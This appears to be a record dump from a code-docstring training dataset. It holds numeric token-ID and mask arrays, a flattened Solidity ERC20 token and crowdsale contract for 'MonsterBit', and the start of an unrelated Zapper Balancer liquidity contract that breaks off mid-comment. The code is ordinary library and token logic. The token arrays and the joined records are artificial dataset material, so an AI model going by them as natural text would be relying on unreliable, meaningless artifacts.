951, 3043, 1769, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.18; pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } pragma solidity ^0.4.18; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } pragma solidity ^0.4.18; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); Burn(burner, _value); Transfer(burner, address(0), _value); } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is BurnableToken, Pausable { address public icoContract; function setIcoContract(address _icoContract) public onlyOwner { require(_icoContract != address(0)); icoContract = _icoContract; } function removeIcoContract() public onlyOwner { icoContract = address(0); } modifier whenNotPausedOrIcoContract() { require(icoContract == msg.sender || !paused); _; } function transfer(address _to, uint256 _value) public whenNotPausedOrIcoContract returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is PausableToken { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract DetailedERC20 { string public name; string public symbol; uint8 public decimals; function DetailedERC20(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } } contract MonsterBitToken is MintableToken, DetailedERC20 { function MonsterBitToken() public DetailedERC20("MonsterBit", "MB", 18) { } } /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external interface represents the basic interface for purchasing tokens, and conform * the base architecture for crowdsales. They are *not* intended to be modified / overriden. * The internal interface conforms the extensible and modifiable surface of crowdsales. Override * the methods to add functionality. Consider using 'super' where appropiate to concatenate * behavior. */ contract Crowdsale { using SafeMath for uint256; // The token being sold MonsterBitToken public token; // Address where funds are collected address public wallet; // How many token units a buyer gets per wei uint256 public rate; // Amount of wei raised uint256 public weiRaised; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); event TokenSending(address indexed beneficiary, uint256 amount); /** * @param _rate Number of token units a buyer gets per wei * @param _wallet Address where collected funds will be forwarded to * @param _token Address of the token being sold */ function Crowdsale(uint256 _rate, address _wallet, MonsterBitToken _token) public { require(_rate > 0); require(_wallet != address(0)); require(_token != address(0)); rate = _rate; wallet = _wallet; token = _token; } // ----------------------------------------- // Crowdsale external interface // ----------------------------------------- /** * @dev fallback function ***DO NOT OVERRIDE*** */ function () external payable { buyTokens(msg.sender); } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * @param _beneficiary Address performing the token purchase */ function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); // update state weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } // ----------------------------------------- // Internal interface (extensible) // ----------------------------------------- /** * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } /** * @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { // optional override } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens. * @param _beneficiary Address performing the token purchase * @param _tokenAmount Number of tokens to be emitted */ function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { token.transfer(_beneficiary, _tokenAmount); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens. * @param _beneficiary Address receiving the tokens * @param _tokenAmount Number of tokens to be purchased */ function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { _deliverTokens(_beneficiary, _tokenAmount); } /** * @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.) * @param _beneficiary Address receiving the tokens * @param _weiAmount Value in wei involved in the purchase */ function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal { // optional override } /** * @dev Override to extend the way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { wallet.transfer(msg.value); } } /** * @title TimedCrowdsale * @dev Crowdsale accepting contributions only within a time frame. */ contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public openingTime; uint256 public closingTime; /** * @dev Reverts if not in crowdsale time range. */ modifier onlyWhileOpen { require(block.timestamp >= openingTime && block.timestamp <= closingTime); _; } /** * @dev Constructor, takes crowdsale opening and closing times. * @param _openingTime Crowdsale opening time * @param _closingTime Crowdsale closing time */ function TimedCrowdsale(uint256 _rate, address _wallet, MonsterBitToken _token, uint256 _openingTime, uint256 _closingTime) public Crowdsale(_rate, _wallet, _token) { //require(_openingTime >= block.timestamp); require(_closingTime >= _openingTime); openingTime = _openingTime; closingTime = _closingTime; } /** * @dev Checks whether the period in which the crowdsale is open has already elapsed. * @return Whether crowdsale period has elapsed */ function hasClosed() public view returns (bool) { return block.timestamp > closingTime; } /** * @dev Extend parent behavior requiring to be within contributing period * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen { super._preValidatePurchase(_beneficiary, _weiAmount); } // todo add additional functions overrides with onlyWhileOpen here } /** * @title FinalizableCrowdsale * @dev Extension of Crowdsale where an owner can do extra work * after finishing. */ contract FinalizableCrowdsale is TimedCrowdsale, Ownable { using SafeMath for uint256; bool public isFinalized = false; event Finalized(); function FinalizableCrowdsale(uint256 _rate, address _wallet, MonsterBitToken _token, uint256 _openingTime, uint256 _closingTime) public TimedCrowdsale(_rate, _wallet, _token, _openingTime, _closingTime) { } /** * @dev Must be called after crowdsale ends, to do some extra finalization * work. Calls the contract's finalization function. */ function finalize() onlyOwner public { require(!isFinalized); require(hasClosed()); finalization(); Finalized(); isFinalized = true; } /** * @dev Can be overridden to add finalization logic. The overriding function * should call super.finalization() to ensure the chain of finalization is * executed entirely. */ function finalization() internal { token.burn(tokenBalance()); } function tokenBalance() public view returns (uint256) { return token.balanceOf(this); } } contract MonsterTokenCrowdsale is FinalizableCrowdsale { function MonsterTokenCrowdsale(uint256 _rate, address _wallet, address _token, uint256 _openingTime, uint256 _closingTime) public FinalizableCrowdsale(_rate, _wallet, MonsterBitToken(_token), _openingTime, _closingTime) { } function setRate(uint256 newRate) public onlyOwner { rate = newRate; } function sendTokens(address beneficiary, uint256 tokensAmount) public onlyOwner { require(beneficiary != address(0)); _processPurchase(beneficiary, tokensAmount); TokenSending(beneficiary, tokensAmount); // event } }
* Event for token purchase logging @param purchaser who paid for the tokens @param beneficiary who got the tokens @param value weis paid for purchase @param amount amount of tokens purchased/* @param _rate Number of token units a buyer gets per wei @param _wallet Address where collected funds will be forwarded to @param _token Address of the token being sold/
function Crowdsale(uint256 _rate, address _wallet, MonsterBitToken _token) public { require(_rate > 0); require(_wallet != address(0)); require(_token != address(0)); rate = _rate; wallet = _wallet; token = _token; }
13,628,363
[ 1, 1133, 364, 1147, 23701, 2907, 225, 5405, 343, 14558, 10354, 30591, 364, 326, 2430, 225, 27641, 74, 14463, 814, 10354, 2363, 326, 2430, 225, 460, 732, 291, 30591, 364, 23701, 225, 3844, 3844, 434, 2430, 5405, 343, 8905, 19, 225, 389, 5141, 3588, 434, 1147, 4971, 279, 27037, 5571, 1534, 732, 77, 225, 389, 19177, 5267, 1625, 12230, 284, 19156, 903, 506, 19683, 358, 225, 389, 2316, 5267, 434, 326, 1147, 3832, 272, 1673, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 385, 492, 2377, 5349, 12, 11890, 5034, 389, 5141, 16, 1758, 389, 19177, 16, 9041, 8190, 5775, 1345, 389, 2316, 13, 1071, 288, 203, 565, 2583, 24899, 5141, 405, 374, 1769, 203, 565, 2583, 24899, 19177, 480, 1758, 12, 20, 10019, 203, 565, 2583, 24899, 2316, 480, 1758, 12, 20, 10019, 203, 203, 565, 4993, 273, 389, 5141, 31, 203, 565, 9230, 273, 389, 19177, 31, 203, 565, 1147, 273, 389, 2316, 31, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// ███████╗░█████╗░██████╗░██████╗░███████╗██████╗░░░░███████╗██╗ // ╚════██║██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗░░░██╔════╝██║ // ░░███╔═╝███████║██████╔╝██████╔╝█████╗░░██████╔╝░░░█████╗░░██║ // ██╔══╝░░██╔══██║██╔═══╝░██╔═══╝░██╔══╝░░██╔══██╗░░░██╔══╝░░██║ // ███████╗██║░░██║██║░░░░░██║░░░░░███████╗██║░░██║██╗██║░░░░░██║ // ╚══════╝╚═╝░░╚═╝╚═╝░░░░░╚═╝░░░░░╚══════╝╚═╝░░╚═╝╚═╝╚═╝░░░░░╚═╝ // Copyright (C) 2020 zapper, nodar, suhail, seb, apoorv, sumit // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 2 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // ///@author Zapper ///@notice this contract adds liquidity to Balancer liquidity pools in one transaction // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.5.5; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require( success, "Address: unable to send value, recipient may have reverted" ); } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { callOptionalReturn( token, abi.encodeWithSelector(token.transfer.selector, to, value) ); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, value) ); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).add( value ); callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).sub( value, "SafeERC20: decreased allowance below zero" ); callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require( abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed" ); } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing 